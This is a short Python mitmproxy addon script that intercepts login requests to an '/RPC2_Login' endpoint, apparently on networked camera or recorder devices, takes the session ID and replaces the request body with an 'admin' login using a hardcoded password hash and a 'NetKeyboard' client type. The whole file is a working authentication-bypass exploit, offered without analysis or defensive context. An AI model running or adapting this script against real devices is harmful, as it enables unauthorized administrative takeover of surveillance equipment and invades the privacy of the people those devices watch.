mitm.py

import mitmproxy.http
from mitmproxy import ctx,http
import codecs
import json

class Httptest:

	def request(self, flow: mitmproxy.http.HTTPFlow):
		"""
			The full HTTP request has been read.
		"""
		if "/RPC2_Login"  in flow.request.pretty_url :
			text = flow.request.get_text()
			if "session" in text:
				print(text)
				session = str(json.loads(text).get("session"))

				ctx.log.warn("request:"+flow.request.pretty_url+session)
				
				data = '''{"method": "global.login", "params": {"userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "3D6D72ABF836BC3D129C21F23619C793"}, "id": 1, "session": "'''
				data = data + session
				data = data + '''"}'''
	
				flow.request.set_text(data)
		
	def response(self, flow: mitmproxy.http.HTTPFlow):
		"""
			The full HTTP response has been read.
		"""
		pass

	def error(self, flow: mitmproxy.http.HTTPFlow):
		"""
			An HTTP error has occurred, e.g. invalid server responses, or
			interrupted connections. This is distinct from a valid server HTTP
			error response, which is simply a response with an HTTP error code.
		"""
		pass

addons = [
	Httptest()
]